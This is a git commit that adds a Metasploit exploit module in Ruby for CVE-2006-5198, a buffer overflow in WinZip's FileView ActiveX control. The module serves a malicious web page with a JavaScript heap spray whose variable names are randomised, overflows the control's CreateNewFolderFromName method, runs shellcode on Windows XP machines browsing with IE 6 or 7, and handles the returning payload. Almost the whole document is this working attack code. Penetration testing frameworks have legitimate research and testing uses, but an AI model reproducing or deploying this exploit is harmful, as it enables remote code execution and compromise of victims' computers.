added exploit module winzip_fileview.rb from dean.

git-svn-id: file:///home/svn/framework3/trunk@6144 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-13 14:04:53 +00:00 · 2009-01-13 14:04:53 +00:00 · bc1f2da254
parent 463c67a322
commit bc1f2da254
1 changed files with 112 additions and 0 deletions
--- a/modules/exploits/windows/browser/winzip_fileview.rb
+++ b/modules/exploits/windows/browser/winzip_fileview.rb
@ -0,0 +1,112 @@
+###
+## This file is part of the Metasploit Framework and may be subject to
+## redistribution and commercial restrictions. Please see the Metasploit
+## Framework web site for more information on licensing and terms of use.
+## http://metasploit.com/projects/Framework/
+###
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',
+			'Description'    => %q{
+				The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a 
+				remote attacker to execute arbitrary code on the system. The control contains 
+				several unsafe methods and is marked safe for scripting and safe for initialization. 
+				A remote attacker could exploit this vulnerability to execute arbitrary code on the 
+				victim system. WinZip 10.0 <= Build 6667 are vulnerable.
+				},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'dean dean [at] zerodaysolutions [dot] com' ], 
+			'Version'        => '$Revision:$',
+			'References'     => 
+				[
+					[ 'CVE','CVE-2006-5198' ],
+					[ 'BID','20160' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 1024,
+					'BadChars'      => "\x00",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]	
+				],
+			'DisclosureDate' => 'Nov 2 2007',
+			'DefaultTarget'  => 0))
+	end
+
+	def autofilter
+		false
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		# Re-generate the payload.
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Encode the shellcode.
+		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
+	
+		# Set the return.
+		ret    = Rex::Text.uri_encode([target.ret].pack('L'))
+				
+		# Randomize the javascript variable names.
+		vname  = rand_text_alpha(rand(100) + 1)
+		var_i  = rand_text_alpha(rand(30)  + 2)
+		rand1  = rand_text_alpha(rand(100) + 1)
+		rand2  = rand_text_alpha(rand(100) + 1)
+		rand3  = rand_text_alpha(rand(100) + 1)
+		rand4  = rand_text_alpha(rand(100) + 1)
+		rand5  = rand_text_alpha(rand(100) + 1)
+		rand6  = rand_text_alpha(rand(100) + 1)
+		rand7  = rand_text_alpha(rand(100) + 1)
+		rand8  = rand_text_alpha(rand(100) + 1)
+
+		content = %Q|
+         <html>
+            <object id='#{vname}' classid='clsid:A09AE68F-B14D-43ED-B713-BA413F034904'></object>
+            <script language="JavaScript">
+            var #{rand1} = unescape('#{shellcode}');
+            var #{rand2} = unescape('#{ret}');
+            var #{rand3} = 20;
+            var #{rand4} = #{rand3} + #{rand1}.length;
+            while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
+            var #{rand5} = #{rand2}.substring(0,#{rand4});
+            var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
+            while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
+            var #{rand7} = new Array();
+            for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
+            var #{rand8} = "A";
+            for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + #{rand2} }
+            #{vname}.CreateNewFolderFromName(#{rand8});
+            </script>
+         </html>
+			|
+
+		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+
+end
+